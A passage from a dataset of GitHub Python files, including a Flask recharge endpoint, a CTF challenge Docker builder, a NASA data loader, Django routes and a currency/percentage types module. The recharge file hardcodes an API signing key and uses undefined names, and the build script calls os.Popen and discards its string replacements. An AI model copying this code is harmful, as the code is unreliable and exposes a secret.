question -- SHORT ANSWER (Short Answer)']\n name=\"%s %s: \" % (item['First name'],item['Last name'])\n newtext=unescape(oldtext)\n print(name,textwrap.fill(newtext,width=90))\n print(60*'+')\n \n \n","repo_name":"phaustin/pythonlibs","sub_path":"pyutils/pyutils/read_vista.py","file_name":"read_vista.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23111937208","text":"# encoding: utf-8\n\"\"\"\n@author:YinLiang\n@file: recharge.py\n@time:2018/10/23 11:03\n\"\"\"\nimport hashlib\nimport time\n\nimport datetime\nimport requests\nfrom flask import request\n\nfrom danke.api_1_0 import api\nfrom danke.api_1_0.pay import formatBizQueryParaMap, send_xml_request, generate_out_trade_no\n\n\n@api.route('/recharge', methods=['POST', 'GET'])\ndef Recharge():\n req_dict = request.values.to_dict()\n productid=req_dict.get(\"productid\")\n phonenum=req_dict.get(\"phonenum\")\n url=\"http://test.saiheyi.com/Stock/Post\"\n actionname=\"recharge\"\n timestamp=time.strftime(\"%Y-%m-%d %H:%M:%S\")\n print(\"timestamp:%s\" % timestamp)\n partnerid=\"102964\"\n stockordernumber=generate_out_trade_no()\n\n data={\n \"productid\":productid,\n \"phonenum\":phonenum,\n \"actionname\":actionname,\n \"timestamp\":timestamp,\n \"partnerid\":partnerid,\n \"stockordernumber\":stockordernumber\n }\n sign=get_Sign(data)\n data[\"sign\"]=sign\n # str = formatBizQueryParaMap(data, False)\n # string = \"{0}\".format(str).encode(\"utf8\")\n # print(\"string:%s\" % string)\n # response = requests.post(url, data=string, headers={'Content-Type': 'application/x-www-form-urlencoded'})\n\n headers = {\"Content-type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"Accept\": \"*/*\"}\n params = {'username': 'xxxx'}\n data = urllib.urlencode(params)\n\n conn = httplib.HTTPConnection(host)\n conn.request('POST', url, data, headers)\n\n msg = response.text\n print(msg)\n return msg\n\n\n\n\ndef get_Sign(data):\n str=formatBizQueryParaMap(data, False)\n signkey = \"C7FA8FC2D9256DD6865ADFFA81249FEC\"\n str=\"{0}{1}\".format(str,signkey).encode(\"utf8\")\n print(\"str:%s\" % str)\n String = hashlib.md5(str).hexdigest()\n print(\"String:%s\" % String)\n return String.upper()\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"bingfengjiyu/danke_mini","sub_path":"danke/api_1_0/recharge.py","file_name":"recharge.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4088222236","text":"from PIL import Image\r\n\r\nim = Image.open(\"./font.png\")\r\npx = im.load()\r\npx_data = im.getdata()\r\nmax_elements_per_line = im.width\r\n\r\nprint(\"uint8_t VGA437_data[\", im.width * im.height, \"] = {\")\r\nprint(\"\\t\", end=\"\")\r\nline_chars = 0\r\n\r\nfor px in px_data:\r\n line_chars += 1\r\n print((1 - px), end=\",\")\r\n if(line_chars > max_elements_per_line):\r\n line_chars = 0\r\n print(\"\")\r\n print(\"\\t\", end=\"\")\r\n\r\nprint(\"};\")\r\n","repo_name":"RelativisticMechanic/CRTerm","sub_path":"src/resources/font2struct.py","file_name":"font2struct.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"7767076998","text":"from pickle import load\nfrom tensorflow.keras.models import load_model\nimport pandas as pd\n\nMODEL_PATH = 'model/model.h5'\nSCALER_PATH = 'model/scaler.pkl'\nSCALER_DEP_PATH = 'model/scaler_dep.pkl'\n\nmodel = load_model(MODEL_PATH)\nscaler = load(open(SCALER_PATH, 'rb'))\nscaler_dep = load(open(SCALER_DEP_PATH, 'rb'))\n\ndef make_prediction(predict_data):\n predict_data = pd.Series(predict_data)\n predict_data = scaler.transform(predict_data.values.reshape(1,-1))\n\n prediction = model.predict(predict_data)\n\n return scaler_dep.inverse_transform(prediction)","repo_name":"EashanKaushik/Car-Sales-Prediction","sub_path":"deploy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9631774234","text":"import os\n\n########################################\n# Setting\n########################################\nCHALL_NAME = \"house_of_n132\"\nPORT = 6999\nFLAG = \"n132{n132_n132}\"\nTARGET_DIR = \"template\"\nSOURCE = False # \"./main.c\"\nBIN = \"./pwn\"\nSHARE = True\n# If it's true, the flag would not be copied so that you can\n# share this in the challenge attachment\n########################################\n# Setting\n########################################\n\n\n# modify the dockerfile\nwith open(f\"./{TARGET_DIR}/Dockfile\") as f:\n data = f.read()\nif not SHARE:\n data.replace(\"RUN echo FLAG > flag.txt\",f\"RUN echo {FLAG} > flag.txt\")\nelse:\n data.replace(\"RUN echo FLAG > flag.txt\",\"RUN echo flag{This_is_not_the_real_flag} > flag.txt\")\nwith open(f\"./{TARGET_DIR}/Dockfile\",'w') as f:\n f.write(data)\n\n# modify the docker-compose.yml\n\nwith open(f\"./{TARGET_DIR}/Dockfile\") as f:\n data = f.read()\ndata.replace(\"PWN_CHALL\",CHALL_NAME)\ndata.replace(\"PORTVLAUE\",str(PORT).encode())\nwith open(f\"./{TARGET_DIR}/Dockfile\",'w') as f:\n f.write(data)\n\n\n# Cotent\nif SOURCE:\n os.Popen(f\"mv {SOURCE} ./{TARGET_DIR}/src/\")\nos.Popen(f\"mv {BIN} ./{TARGET_DIR}/bin/pwn\")","repo_name":"n132/Watermalon","sub_path":"INIT/chall_builder/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"19118718460","text":"import sqlite3 as sqlite\nimport json\nimport time\nimport os\nimport datetime\nfrom cache_handler import *\nfrom nasa_secrets import *\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nDBNAME = ('{}/{}').format(dir_path, 'nasa.db')\nSOLAR_FLARE_URL = 'https://api.nasa.gov/DONKI/FLR'\nCME_URL = 'https://api.nasa.gov/DONKI/CMEAnalysis'\nPARTICLE_URL = 'https://api.nasa.gov/DONKI/SEP'\nNEO_URL = 'https://api.nasa.gov/neo/rest/v1/feed'\n\n\n\n#####################################################\n# CREATE THE TABLES\n# function also deletes tables if they already exist\n#####################################################\ndef create_tables():\n # Connect to database\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n\n statement = \"DROP TABLE IF EXISTS 'SolarFlares';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'SolarFlareInstruments';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'SolarFlareTypes';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'CME';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'WikiScrapes';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'SolarEnergeticParticles';\"\n cur.execute(statement)\n\n statement = \"DROP TABLE IF EXISTS 'NearEarthObjects';\"\n cur.execute(statement)\n\n conn.commit()\n\n statement = '''\n CREATE TABLE 'SolarFlares' (\n 'ID' INTEGER PRIMARY KEY AUTOINCREMENT,\n 'FlareID' TEXT,\n 'Start' TEXT,\n 'End' TEXT,\n 'PeakTime' TEXT NOT NULL,\n 'RegionNum' INTEGER,\n 'Type' TEXT NOT NULL,\n 'Location' TEXT,\n 'LinkedEventID' TEXT\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n CREATE TABLE 'SolarFlareInstruments' (\n 'ID' INTEGER PRIMARY KEY AUTOINCREMENT,\n 'InstrumentID' INTEGER,\n 'Name' TEXT,\n 'SolarFlareID' INTEGER,\n FOREIGN KEY('SolarFlareID') REFERENCES SolarFlares(ID)\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n CREATE TABLE 'SolarFlareTypes' (\n 'Type' TEXT PRIMARY KEY,\n 'XrayOutput' REAL,\n FOREIGN KEY ('Type') REFERENCES SolarFlares(Type)\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n CREATE TABLE 'CME' (\n 'ID' INTEGER PRIMARY KEY AUTOINCREMENT,\n 'CMEID' TEXT,\n 'Note' TEXT,\n 'Time' TEXT,\n 'Type' TEXT,\n 'Angle' REAL,\n 'Speed' REAL,\n 'Latitude' REAL,\n 'Longitude' REAL,\n FOREIGN KEY('CMEID') REFERENCES SolarFlares(LinkedEventID)\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n CREATE TABLE 'WikiScrapes' (\n 'ID' TEXT PRIMARY KEY,\n 'Link' TEXT,\n 'Text' TEXT\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n\n statement = '''\n CREATE TABLE 'SolarEnergeticParticles' (\n 'ID' TEXT PRIMARY KEY,\n 'Date' TEXT,\n 'SolarFlareID' TEXT,\n 'CMEID' TEXT,\n 'Instruments' TEXT\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n statement = '''\n CREATE TABLE 'NearEarthObjects' (\n 'ID' NUMBER PRIMARY KEY,\n 'Date' TEXT,\n 'Name' TEXT,\n 'Diameter' REAL,\n 'Hazardous' INTEGER,\n 'ClosestApproach' REAL\n );\n '''\n cur.execute(statement)\n conn.commit()\n\n\n\n#####################################################\n# POPULATE THE SOLAR ENERGETIC PARTICLES TABLE\n# function also shows progress bar\n#####################################################\ndef populate_particle_table(particleFile):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"ID\", \"Date\", \"SolarFlareID\", \"CMEID\", \"Instruments\"'\n\n count = 0\n for particle in particleFile:\n\n count += 1\n if count % 25 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n #Flush tells it to print things immediately\n #end = '' makes it so that it's right next to it.\n flareID = ''\n cmeID = ''\n instruments = ''\n\n if particle['linkedEvents']:\n for event in particle['linkedEvents']:\n if len(event['activityID'].split('FLR')) > 1:\n flareID += event['activityID'] + ','\n if len(event['activityID'].split('CME')) > 1:\n cmeID += event['activityID'] + ','\n\n if particle['instruments']:\n for instrument in particle['instruments']:\n instruments += instrument['displayName'] + ','\n\n\n sql = 'INSERT INTO SolarEnergeticParticles(' + clms + ') VALUES (?, ?, ?, ?, ?)'\n cur.execute(sql, \n (particle['sepID'], (particle['eventTime'].split('T')[0]).split('-')[0], flareID[:(len(flareID)-1)],\n cmeID[:(len(cmeID)-1)], instruments[:(len(instruments)-1)])\n )\n # commit and close changes\n conn.commit()\n conn.close()\n\n\n\n#####################################################\n# POPULATE THE NEAR EARTH OBJECTS TABLE\n# function also shows progress bar\n#####################################################\ndef populate_neo_table(neoFile):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = \"'ID', 'Date', 'Name', 'Diameter', 'Hazardous', 'ClosestApproach'\"\n\n count = 0\n for date in neoFile['near_earth_objects']:\n for neo in neoFile['near_earth_objects'][date]:\n\n count += 1\n if count % 25 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n\n\n hazardous = 0\n if neo['is_potentially_hazardous_asteroid']:\n hazardous = 1\n\n sql = 'INSERT INTO NearEarthObjects(' + clms + ') VALUES (?, ?, ?, ?, ?, ?)'\n cur.execute(sql, \n (neo['id'],\n date,\n neo['name'],\n neo['estimated_diameter']['kilometers']['estimated_diameter_max'],\n hazardous,\n neo['close_approach_data'][0]['miss_distance']['kilometers']\n )\n )\n conn.commit()\n conn.close()\n\n\n\n\n#####################################################\n# POPULATE THE SOLAR FLARES TABLE\n# function also shows progress bar\n#####################################################\ndef populate_flares_table(jsonFile):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"FlareID\", \"Start\", \"End\", \"PeakTime\", \"RegionNum\", \"Type\", \"Location\", \"LinkedEventID\"'\n\n count = 0\n for flare in jsonFile:\n\n count += 1\n if count % 25 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n\n sql = 'INSERT INTO SolarFlares(' + clms + ') VALUES (?, ?, ?, ?, ?, ?, ?, ?)'\n linkedEvent = 'None'\n if flare['linkedEvents']:\n linkedEvent = flare['linkedEvents'][0]['activityID']\n\n cur.execute(sql, \n (flare['flrID'], flare['beginTime'], flare['endTime'], flare['peakTime'], \n flare['activeRegionNum'], flare['classType'], flare['sourceLocation'], linkedEvent)\n )\n # commit and close changes\n conn.commit()\n conn.close()\n \n\n\n#####################################################\n# POPULATE THE WKI SCRAPES TABLE\n#####################################################\ndef populate_wikiscrapes_table(objArr):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"ID\", \"Link\", \"Text\"'\n\n for obj in objArr:\n sql = 'INSERT INTO WikiScrapes(' + clms + ') VALUES (?, ?, ?)'\n cur.execute(sql, (obj['id'], obj['link'], obj['text']))\n # commit and close changes\n conn.commit()\n conn.close()\n\n\n\n#####################################################\n# POPULATE THE SOLAR FLARE INSTRUMENTS TABLE\n# function also shows progress bar\n#####################################################\ndef populate_flares_instrument_table(jsonFile):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"InstrumentID\", \"Name\", \"SolarFlareID\"'\n index = 0\n for flare in jsonFile:\n index += 1\n if index % 25 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n\n for instrument in flare['instruments']:\n\n sql = 'INSERT INTO SolarFlareInstruments(' + clms + ') VALUES (?, ?, ?)'\n cur.execute(sql, \n (instrument['id'], instrument['displayName'], index)\n )\n # commit and close changes\n conn.commit()\n conn.close()\n\n\n\n#####################################################\n# POPULATE THE SOLAR FLARE TYPES TABLE\n# function also shows progress bar\n#####################################################\ndef populate_flare_types_table():\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"Type\", \"XrayOutput\"'\n \n energies = {\n 'B': 1e-7,\n 'C': 1e-6,\n 'M': 1e-5,\n 'X': 1e-4,\n }\n\n sql = '''\n SELECT DISTINCT TYPE\n FROM SolarFlares \n '''\n\n types = cur.execute(sql).fetchall()\n\n index = 0\n for sType in types:\n index += 1\n if index % 10 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n\n sClass = sType[0][0]\n multiplier = float(sType[0][1:])\n energy = multiplier * energies[sClass]\n\n sql = 'INSERT INTO SolarFlareTypes(' + clms + ') VALUES (?, ?)'\n cur.execute(sql, (sType[0], energy))\n # commit and close changes\n conn.commit()\n conn.close()\n\n\n\n#####################################################\n# POPULATE THE CME TABLE\n# function also shows progress bar\n#####################################################\ndef populate_cme_table(cmeFile):\n conn = sqlite.connect(DBNAME)\n cur = conn.cursor()\n clms = '\"CMEID\", \"Note\", \"Time\", \"Type\", \"Angle\", \"Speed\", \"Latitude\", \"Longitude\"'\n \n sql = '''\n SELECT LinkedEventID\n FROM SolarFlares \n '''\n events = cur.execute(sql).fetchall()\n \n count = 0\n for event in events:\n count += 1\n if count % 25 == 0:\n print('#', end='', flush=True)\n time.sleep(1)\n for cme in cmeFile:\n if event[0] == cme['associatedCMEID']:\n\n sql = 'INSERT INTO CME(' + clms + ') VALUES (?, ?, ?, ?, ?, ?, ? ,?)'\n cur.execute(sql, \n (cme['associatedCMEID'], cme['note'], cme['time21_5'], cme['type'],\n cme['halfAngle'], cme['speed'], cme['latitude'], cme['longitude'])\n )\n # commit and close changes\n conn.commit()\n conn.close()\n\n\n#####################################################\n# MAIN FUNCTION TO POPULATE NASA.DB\n# function creates user friendly ouput to the\n# terminal showing the progress of building the\n# database.\n#####################################################\ndef populate_db():\n\n print('\\n', '**POPULATE DATABASE**', '\\n')\n\n create_tables()\n\n params = {\n 'startDate': '2008-11-22',\n 'endDate': str(datetime.now()).split()[0],\n 'api_key': NASA_API,\n }\n\n print('GETTING Solar Flare DATA... ... ...')\n flr_file = getData(SOLAR_FLARE_URL, params, 'solar-flare.json')\n\n print('CREATING FLARES TABLE: in progress... ...', flush=True)\n populate_flares_table(flr_file)\n print(' FLARES TABLE: complete\\n')\n\n print('CREATING FLARE INSTRUMENTS TABLE: in progress... ...', flush=True)\n populate_flares_instrument_table(flr_file)\n print(' FLARE INSTRUMENTS TABLE: complete\\n')\n\n print('CREATING FLARE TYPES TABLE: in progress... ...', flush=True)\n populate_flare_types_table()\n print(' FLARE TYPES TABLE: complete\\n')\n\n print('GETTING CME DATA... ... ...')\n cme_file = getData(CME_URL, params, 'cme.json')\n\n print('CREATING CME TABLE: in progress... ...')\n populate_cme_table(cme_file)\n print('#', end='')\n print(' CME TABLE: complete\\n')\n\n\n print('GETTING Particle DATA... ... ...')\n particle_file = getData(PARTICLE_URL, params, 'particle.json')\n\n print('CREATING Particle TABLE: in progress... ...')\n populate_particle_table(particle_file)\n print('#', end='')\n print(' PARTICLE TABLE: complete\\n')\n\n\n print('GETTING Near Earth Objects DATA... ... ...')\n neo_file = getData(NEO_URL, params, 'neo.json')\n\n print('CREATING Near Earth Objects TABLE: in progress... ...')\n populate_neo_table(neo_file)\n print('#', end='')\n print(' Near Earth Objects TABLE: complete\\n')\n\n\n\n print('GETTING Scrapes FROM WIKIPEDIA... ... ...')\n wikiScrapes = [\n {'id': 'flare', 'link': 'https://en.wikipedia.org/wiki/Solar_flare', 'text': '', 'file': 'solar-flare-wiki.json'},\n {'id': 'cme', 'link': 'https://en.wikipedia.org/wiki/Coronal_mass_ejection', 'text': '', 'file': 'cme-wiki.json'},\n {'id': 'particle', 'link': 'https://en.wikipedia.org/wiki/Solar_energetic_particles','text': '', 'file': 'particle-wiki.json'},\n {'id': 'neo', 'link': 'https://en.wikipedia.org/wiki/Near-Earth_object','text': '', 'file': 'neo-wiki.json'}\n ]\n for scrape in wikiScrapes:\n scrape['text'] = getData(scrape['link'], {'type': scrape['id']}, scrape['file'], True)\n\n print('CREATE WIKI SCRAPES TABLE: in progress... ...')\n populate_wikiscrapes_table(wikiScrapes)\n print(' WIKI SCRAPES TABLE: complete\\n')\n\n\n\n\n\n print('\\n**DATABASE COMPLETE**')\n print('==========================================================\\n')\n\n\n# Run this file terminal output\npopulate_db()\n","repo_name":"LaurenElbaum/507_final_proj","sub_path":"database/populate_database.py","file_name":"populate_database.py","file_ext":"py","file_size_in_byte":13738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41261606787","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('search//', views.PostSearch.as_view()), #598. views.py의 PostSearch에 대한 경로를 지정한다. 이제 views.py의 178째줄로 이동한다. (는 검색어에 해당하는 값을 문자열(str)로 받고, 이 값을 q라고 부르겠다는 의미이다.)\n path('delete_comment//', views.delete_comment), #577. views.py의 delete_comment에 대한 경로를 지정한다. 이제 views.py의 167째줄로 이동한다.\n path('update_comment//', views.CommentUpdate.as_view()), #547. views.py의 CommentUpdate에 대한 경로를 지정한다. 이제 views.py의 156째줄로 이동한다.\n path('update_post//', views.PostUpdate.as_view()), #384. tests.py의 239줄에 대한 경로를 지정한다. 그리고 views.py의 45째 줄로 이동한다.\n path('create_post/', views.PostCreate.as_view()), #334. PostCreate에 대한 경로를 지정하고 views.py의 28째 줄로 이동한다.\n path('tag//', views.tag_page), #324. 이같이 입력하고 views.py의 47째 줄로 이동한다.\n path('category//', views.category_page), #290. 변수명 slug를 받아온다. 이제 views.py의 맨 아래로 이동한다.\n path('/new_comment/', views.new_comment), #516. new_comment에 대한 처리에 대한 경로를 지정한다. 이제 views.py의 141째 줄로 이동한다.\n path('/', views.PostDetail.as_view()), #10. 자료형태가 int로 오고 /로 끝날때, views.py에 있는 single_post_page(포스트 하나만 구체적으로 보여주는 페이지)로 가라 라는 뜻 - blog/views.py로 간다. 45. single_post_page -> PostDetail.as_view()로 바꿔주고 46. single_page.html으로 이동하여 post_detail.html로 이름을 변경한다(모델명_detail형식). 이래야 views.py가 인식을 한다.\n path('', views.PostList.as_view()), #34. 아래 내용을 주석처리하거나 삭제 하고 입력 as_view는 약속의 의미로 보면 된다. 다시 views.py로 이동한다.\n #path('', views.index), #2. djshin_prj에 있는 urls.py에서 와서 봤는데 아무것도 없으면(''), views.py에 있는 index함수에 가서 봐라\n]\n","repo_name":"kyotostaily/djshin","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25036444078","text":"# -*- coding: utf-8 -*-\n\nfrom typing import Any, Tuple, Union\nimport decimal\nimport logging\n\nimport click\nimport wrapt\nimport babel.numbers\n\nfrom .utils import parse_input_string\nfrom .exceptions import PercentageOutOfRange, EnvDictNotFound\nfrom .config import Config, env_strings, CURRENCY_FORMAT, LOCALE, \\\n TerminalConfig, from_yaml\n\n# logging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\n\n@wrapt.decorator\ndef parse_input_value(wrapped, instance, args, kwargs):\n \"\"\"A decorator to parse the first arg with ``parse_input_string``, before\n sending on to the wrapped function/method. This method allows multiple\n values to be passed into a command line option as a single string, split on\n the default seperator ``';'``.\n\n Works properly with methods attached to classes or stand alone functions.\n\n Example::\n\n >>> @parse_input_value\n ... def decorated(values):\n ... print(values)\n >>> decorated('123;456;')\n ('123', '456')\n\n >>> class Parsed(object):\n ... @parse_input_value\n ... def decorated(self, values):\n ... print(values)\n >>> Parsed().decorated('123;456')\n ('123', '456')\n\n\n .. note::\n\n This method uses ``parse_input_string`` method which always returns\n a tuple, so the parsed value that get's passed to the wrapped method\n will always be a tuple, which can be of length 1, if there wasn't any\n values to split in the input string.\n\n Example::\n\n >>> @parse_input_value\n ... def decorated(value):\n ... print(value)\n >>> decorated('123')\n ('123', )\n\n\n \"\"\"\n values = parse_input_string(args[0])\n newargs = (values,) + args[1:]\n return wrapped(*newargs, **kwargs)\n\n\n# TODO: Lodk at if checking for a 'default' key in an env_dict\n# is better elsewhere. Possibly inside of a `Config` instance.\ndef check_env_dict(env_var: str=None, strict: bool=None):\n \"\"\"A decorator to check iterate over the first arg, checking if the values\n map to a key in an ``env_dict``, returning it's value if so. Parsing the\n first arg to a true value. (either the value for the ``env_dict`` key or\n the value itself, if not a key in the ``env_dict``.\n\n This decorator allows command line options to use named parameter's that\n are mapped to values in an ``env_dict``.\n\n This will work the same whether wrapping a method attached to a class or\n a stand alone function.\n\n\n :param env_var: The name of the ``env_dict`` to check in.\n :param strict: A bool, if ``True`` then an error will be raised if an\n ``env_dict`` is not found for ``env_var``. Default is\n ``None`` (``False``).\n\n :raises EnvDictNotFound: If ``strict`` is ``True`` and an ``env_dict``\n was not found for ``env_var``.\n\n\n Example:\n\n .. code-block:: console\n\n $ export JOBCALC_DISCOUNTS='standard:5;deluxe:10;premium:15'\n\n\n .. code-block:: python\n\n >>> @check_env_dict('JOBCALC_DISCOUNTS')\n ... def decorated(value):\n ... print(value)\n >>> decorated('standard')\n '5'\n >>> decorated('not_in_dict')\n 'not_in_dict'\n\n\n \"\"\"\n @wrapt.decorator\n def check_env_dict_wrapper(wrapped, instance, args, kwargs):\n logger.debug('args: {}'.format(args))\n\n # use ``env_var`` if set, or check instance for an attribute\n # ``env_dict_name``.\n env_name = env_var or getattr(instance, 'env_dict_name', None)\n\n # check if the env_name is in env_strings helper\n # if so, we need to actually get the key.\n if env_name in env_strings:\n for key, value in env_strings._asdict().items():\n if value == env_name:\n env_name = key\n\n is_strict = strict or getattr(instance, 'error_if_not_found', None)\n\n # config holds the env dict's to search in for the key.\n config = Config()\n\n logger.debug('checking config for env_name: {}'.format(env_name))\n\n # get the env dict, parsed using ``parse_env_string``, or\n # return an empty dict.\n if env_name is None:\n env_dict = {}\n else:\n env_dict = getattr(config, env_name, {})\n # env_dict = parse_env_string(os.environ.get(env_name, {}))\n # short curcuit if we don't have an env name to search for.\n if env_dict == {}:\n logger.debug('No env dict found for: {}'.format(\n env_name)\n )\n if is_strict is True:\n raise EnvDictNotFound(env_name)\n return wrapped(*args, **kwargs)\n\n if isinstance(args[0], str):\n arg = args[0]\n\n # if only a single value was passed in\n if arg == '0':\n # check for a default key in the env_dict.\n value = env_dict.get('default', arg)\n # make sure that 'default' is not mapped to another\n # key in the env_dict\n return env_dict.get(value, value)\n\n return env_dict.get(arg, arg)\n\n # if multiple values need to be checked, a list, tuple, etc.\n # check for the values, either returning the value for the key in the\n # env_dict, or the value.\n true_values = tuple(map(lambda x: env_dict.get(x, x), iter(args[0])))\n logger.debug('true_values: {}'.format(true_values))\n\n # if only parsed a single item, return a single item,\n # instead of a tuple\n if len(true_values) == 1:\n true_values = true_values[0]\n\n if true_values == '0':\n value = env_dict.get('default', true_values)\n true_values = env_dict.get(value, value)\n\n # reset args, to be passed along.\n newargs = (true_values,) + args[1:]\n\n # call the wrapped method\n return wrapped(*newargs, **kwargs)\n\n return check_env_dict_wrapper\n\n\nclass Percentage(decimal.Decimal):\n \"\"\"A ``Decimal`` sub-class, that handle's percentages correctly for\n our app. Adds a ``formatted_string`` method for a percentage.\n\n A percentage for our purposes can either be a number between 0 and\n 100. If the number is between 0 and 1, then it is used as the percentage.\n If it is above 1 and less than 100, we divide the number by 100 to create\n or percentage.\n\n\n :raises PercentageOutOfRange: If the value is a negative number or\n 100 or above.\n\n\n .. note::\n\n When performing any operations (like addition, multiplication, etc.) to\n a ``Percentage``, then the new value will need to be converted back\n to a ``Percentage`` for the ``formatted_string`` method to\n work.\n\n Example::\n\n >>> p = Percentage('10')\n >>> repr(p)\n \"Percentage('0.1')\"\n >>> x = Percentage('10') + Percentage('5')\n >>> repr(x)\n \"Decimal('0.15')\"\n >>> x.formatted_string()\n Traceback ...\n AttributeError: 'decimal.Decimal' object has no attribute\n 'formatted_string'\n\n >>> x = Percentage(Percentage('10') + Percentage('5'))\n >>> x.formatted_string()\n '15.0%'\n\n 10% Example::\n\n >>> Percentage('10').formatted_string()\n '10.0%'\n >>> Percentage('.1').formatted_string()\n '10.0%'\n >>> Percentage(\n ... Percentage('10').formatted_string()).formatted_string())\n '10.0%'\n\n \"\"\"\n\n def __new__(cls, value: Any) -> 'Percentage':\n try:\n value = decimal.Decimal(str(value))\n except decimal.InvalidOperation:\n # handles if someone passes a ``formatted_string``,\n # then we will try to get the value from that as well.\n try:\n value = decimal.Decimal(''.join(str(value).split('%')))\n except decimal.InvalidOperation as exc:\n # all our options failed trying to parse the value to\n # a Decimal\n raise exc\n\n # check the value if it's between 0 and 1, then pass it\n # along.\n if 0 <= value < 1:\n return decimal.Decimal.__new__(cls, str(value))\n elif 1 <= value < 100:\n # if the value is between 1 and 100, then we divide it\n # by 100 to get the proper decimal value.\n return decimal.Decimal.__new__(cls,\n str(value / 100))\n else:\n # raise an error\n raise PercentageOutOfRange(value)\n\n def formatted_string(self) -> str:\n \"\"\"Return a formatted string for a percentage. Rounded to the first\n decimal place.\n\n \"\"\"\n return '{:.1f}%'.format(\n (self * 100).quantize(decimal.Decimal('.1'),\n rounding=decimal.ROUND_DOWN))\n\n def __repr__(self) -> str:\n return \"{}('{}')\".format(self.__class__.__name__, str(self))\n\n\nclass Currency(decimal.Decimal):\n \"\"\"A ``Decimal`` sub-class that knows how to handle currency for our app.\n Adds a ``formatted_string`` method to represent a currency instance.\n\n ``Currency`` will convert any negative numbers to a positive number, which\n is what is required by our calculations.\n\n .. note::\n\n When performing any operations (like addition, multiplication, etc.) to\n a ``Currency``, then the new value will need to be converted back\n to a ``Currency`` for the ``formatted_string`` method to\n work.\n\n \"\"\"\n\n def __new__(cls, value: Any) -> 'Currency':\n try:\n value = decimal.Decimal(str(value))\n except decimal.InvalidOperation:\n # handles if a formatted_string is passed in.\n try:\n symbol = babel.numbers.get_currency_symbol(CURRENCY_FORMAT,\n locale=LOCALE)\n value = decimal.Decimal(''.join(str(value).split(symbol)))\n except (decimal.InvalidOperation) as exc:\n # we tried all we can, so raise the exception\n raise exc\n\n # ensure positive numbers only\n if value < 0:\n return decimal.Decimal.__new__(cls, str(value * -1))\n return decimal.Decimal.__new__(cls, str(value))\n\n def formatted_string(self) -> str:\n \"\"\"Return a formatted currency string. This method uses\n ``babel.numbers.format_currency`` using the ``config.CURRENCY_FORMAT``\n and ``config.LOCALE`` variables that are set by the environment or\n default values. ('USD', 'en_US').\n\n Example::\n\n >>> Currency('1000').formatted_string()\n '$1,000.00'\n\n \"\"\"\n return babel.numbers.format_currency(self, CURRENCY_FORMAT,\n locale=LOCALE)\n\n def __repr__(self) -> str:\n return \"{}('{}')\".format(self.__class__.__name__, str(self))\n\n\nclass BaseCurrencyType(click.ParamType):\n \"\"\"A custom ``click.ParamType`` used to convert values passed on the\n command line to ``Currency`` instances.\n\n \"\"\"\n\n def convert(self, value: str, param: Any, ctx: Any\n ) -> Union[Currency, Tuple[Currency]]:\n \"\"\"The method that does the actual conversion of values. This method\n is called by ``click`` during parsing of input values.\n\n :param value: The value(s) to be converted. These can be either a\n string, or tuple of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n\n if hasattr(value, '__iter__') and len(value) == 1:\n value = value[0]\n\n if isinstance(value, str):\n return Currency(str(value))\n else:\n return tuple(map(Currency, iter(value)))\n\n\nclass BasePercentageType(click.ParamType):\n \"\"\"A custom ``click.ParamType`` used to convert values passed on the\n command line to ``Percentage`` instances.\n\n \"\"\"\n\n def convert(self, value: str, param: Any, ctx: Any) -> Percentage:\n \"\"\"The method that does the actual conversion. This method is called\n directly from ``click`` during parsing of input values.\n\n :param value: A single string or iterable of strings to convert.\n :param param: The command line parameter this attached to.\n :param ctx: The command line context.\n\n \"\"\"\n logger.debug('converting: {} to Percentage(s).'.format(value))\n if hasattr(value, '__iter__') and len(value) == 1:\n value = value[0]\n\n if isinstance(value, str):\n try:\n return 